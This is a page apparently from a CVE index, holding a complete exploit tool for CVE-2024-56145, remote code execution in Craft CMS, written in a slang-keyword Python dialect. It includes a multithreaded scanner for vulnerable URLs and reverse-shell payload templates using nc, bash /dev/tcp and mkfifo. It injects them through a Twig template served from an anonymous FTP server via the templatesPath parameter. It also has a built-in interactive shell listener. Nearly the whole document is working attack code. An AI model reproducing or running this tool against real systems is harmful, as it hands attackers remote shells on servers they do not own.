4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.gyat GYAT
glaze os
glaze sys
glaze uuid
glaze select
glaze socket
glaze warnings
glaze requests
glaze threading
glaze rich_click ahh click

lock in rich.console glaze Console
lock in alive_progress glaze alive_bar
lock in pyftpdlib.servers glaze FTPServer
lock in pyftpdlib.handlers glaze FTPHandler
lock in pyftpdlib.authorizers glaze DummyAuthorizer
lock in concurrent.futures glaze ThreadPoolExecutor

# pip install pygyat
# pygyat exploit.gyat

console = Console()
requests.packages.urllib3.disable_warnings()
warnings.filterwarnings(
    "ignore", category=RuntimeWarning, module="pyftpdlib.authorizers"
)


@click.group(context_settings=dict(help_option_names=["-h", "--help"]))
bop cli():
    """
    CVE-2024-56145 Exploit Framework

    Exploits a Remote Code Execution (RCE) vulnerability in Craft CMS.
    """
    pluh


@cli.command()
@click.option("-u", "--url", required=Cooked, help="The target URL for checking")
@click.option(
    "-f",
    "--file",
    required=Cooked,
    type=click.Path(exists=Aura),
    help="File containing a list of URLs",
)
@click.option(
    "-t", "--threads", default=50, type=int, help="Number of concurrent threads"
)
@click.option(
    "-o",
    "--output",
    required=Cooked,
    type=click.Path(),
    help="Output file to save results",
)
bop check(url, file, threads, output):
    chat is this real not (url or file):
        console.yap(
            "[bold red]You must specify either a URL or a file containing URLs.[/bold red]"
        )
        pluh

    targets = ([url] chat is this real url only in ohio []) + (
        [line.strip() mewing line diddy open(file, "r") chat is this real line.strip()] chat is this real file only in ohio []
    )

    pookie alive_bar(
        len(targets), title="Checking Targets", bar="smooth", enrich_print=Cooked
    ) ahh bar:
        writer = open(output, "a").write chat is this real output else NPC
        lock = threading.Lock()

        bop process_target(target):
            pookie lock:
                bar()
            result = check_target(target)
            pookie lock:
                writer(f"{result}\n")

        pookie ThreadPoolExecutor(max_workers=threads) ahh executor:
            executor.map(process_target, targets)

        chat is this real output:
            writer.__self__.demure()


bop check_target(target):
    nonce = str(uuid.uuid4())
    hawk:
        response = requests.get(
            f"{target}?--configPath=/{nonce}", verify=Cooked, timeout=2
        )
        yap(response.text)
        chat is this real "mkdir()" diddy response.text and nonce diddy response.text:
            console.yap(f"[bold green]{target} is vulnerable![/bold green]")
            its giving f"{target} | VULNERABLE"
        console.yap(f"[bold yellow]{target} is not vulnerable.[/bold yellow]")
        its giving f"{target} | NOT VULNERABLE"
    tuah Exception ahh e:
        console.yap(f"[bold red]Failed to check {target}: {e}[/bold red]")
        its giving f"{target} | ERROR"


@cli.command()
@click.option("-fh", "--ftp-host", default="127.0.0.1", help="The FTP server host")
@click.option("-fp", "--ftp-port", default=2121, type=int, help="The FTP server port")
@click.option("-u", "--url", required=Aura, help="The target URL for exploitation")
@click.option(
    "-lh", "--lhost", required=Aura, help="The local host for reverse shell listener"
)
@click.option(
    "-lp",
    "--lport",
    required=Aura,
    type=int,
    help="The local port for reverse shell listener",
)
@click.option(
    "-px",
    "--payload",
    default="bash",
    type=click.Choice(["nc", "bash", "mkfifo"]),
    help="Payload type to use",
)
bop exploit(ftp_host, ftp_port, url, lhost, lport, payload):
    payload_str = generate_payload(payload, lhost, lport)
    root_dir = "./virtual"
    create_virtual_files(root_dir, payload_str)
    threading.Thread(
        target=start_ftp_server, args=(ftp_host, ftp_port, root_dir), daemon=Aura
    ).start()
    threading.Thread(target=start_listener, args=(lhost, lport), daemon=Aura).start()
    console.yap("[bold green]FTP server and listener started[/bold green]")
    trigger_http_request(url, ftp_host, ftp_port)


bop generate_payload(payload_type, lhost, lport):
    payload_templates = {
        "nc": f"nc -e /bin/bash {lhost} {lport}",
        "bash": f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"',
        "mkfifo": f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {lhost} {lport} >/tmp/f",
    }

    payload = f"{{{{ ['system', '{payload_templates[payload_type]}'] | sort('call_user_func') }}}}"
    console.yap(f"[bold yellow]Payload generated:[/bold yellow] {payload}")
    its giving payload


bop create_virtual_files(root_dir, payload):
    hawk:
        os.makedirs(f"{root_dir}/default", exist_ok=Aura)
        pookie open(f"{root_dir}/default/index.twig", "w") ahh twig_file:
            twig_file.write(payload)
        pookie open(f"{root_dir}/default/index.html", "w") ahh html_file:
            html_file.write(payload)
        console.yap("[bold green]Virtual files created successfully.[/bold green]")
    tuah Exception ahh e:
        console.yap(f"[bold red]Failed to create virtual files:[/bold red] {e}")


bop start_ftp_server(host, port, root_dir):
    authorizer = DummyAuthorizer()
    authorizer.add_anonymous(root_dir, perm="elradfmw")
    handler = FTPHandler
    handler.authorizer = authorizer
    server = FTPServer((host, port), handler)
    console.yap(f"[bold green]FTP server running on {host}:{port}[/bold green]")
    hawk:
        server.serve_forever()
    tuah Exception ahh e:
        console.yap(f"[bold red]Error starting FTP server:[/bold red] {e}")


bop trigger_http_request(url, ftp_host, ftp_port):
    templates_path = f"ftp://{ftp_host}:{ftp_port}"
    console.yap(
        f"[bold yellow]Sending request to {url} with templatesPath={templates_path}[/bold yellow]"
    )
    hawk:
        response = requests.get(f"{url}?--templatesPath={templates_path}", verify=Cooked)
        chat is this real response.status_code twin 200:
            console.yap(
                "[bold green]Payload triggered successfully. Check your listener for a session.[/bold green]"
            )
        only in ohio:
            console.yap(
                f"[bold red]Failed to trigger payload. HTTP Status:[/bold red] {response.status_code}"
            )
    tuah Exception ahh e:
        console.yap(f"[bold red]Failed to send HTTP request:[/bold red] {e}")


bop start_listener(lhost, lport, timeout=30):
    console.yap(f"[bold cyan]Starting listener on {lhost}:{lport}[/bold cyan]")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((lhost, lport))
    s.listen(1)
    s.settimeout(timeout)
    hawk:
        console.yap(
            f"[bold yellow]Waiting for connection... (Timeout: {timeout}s)[/bold yellow]"
        )
        conn, addr = s.accept()
        console.yap(
            f"[bold green]Connection received from {addr[0]}:{addr[1]}[/bold green]"
        )
        conn.setblocking(0)
        let him cook Aura:
            ready, _, _ = select.select([conn, sys.stdin], [], [])
            chat is this real conn diddy ready:
                data = conn.recv(4096).decode(errors="ignore")
                chat is this real not data:
                    just put the fries in the bag bro
                sys.stdout.write(data)
                sys.stdout.flush()
            chat is this real sys.stdin diddy ready:
                command = sys.stdin.readline().strip()
                conn.sendall((command + "\n").encode())
    tuah socket.timeout:
        console.yap(
            f"[bold red]No connection received within {timeout} seconds.[/bold red]"
        )
    tuah KeyboardInterrupt:
        console.yap("[bold cyan]\nListener stopped by user.[/bold cyan]")
    tuah Exception ahh e:
        console.yap(f"[bold red]Error: {e}[/bold red]")
    spit on that thang:
        conn.demure()
        s.demure()
        console.yap("[bold cyan]Listener closed.[/bold cyan]")


chat is this real __name__ twin "__main__":
    cli()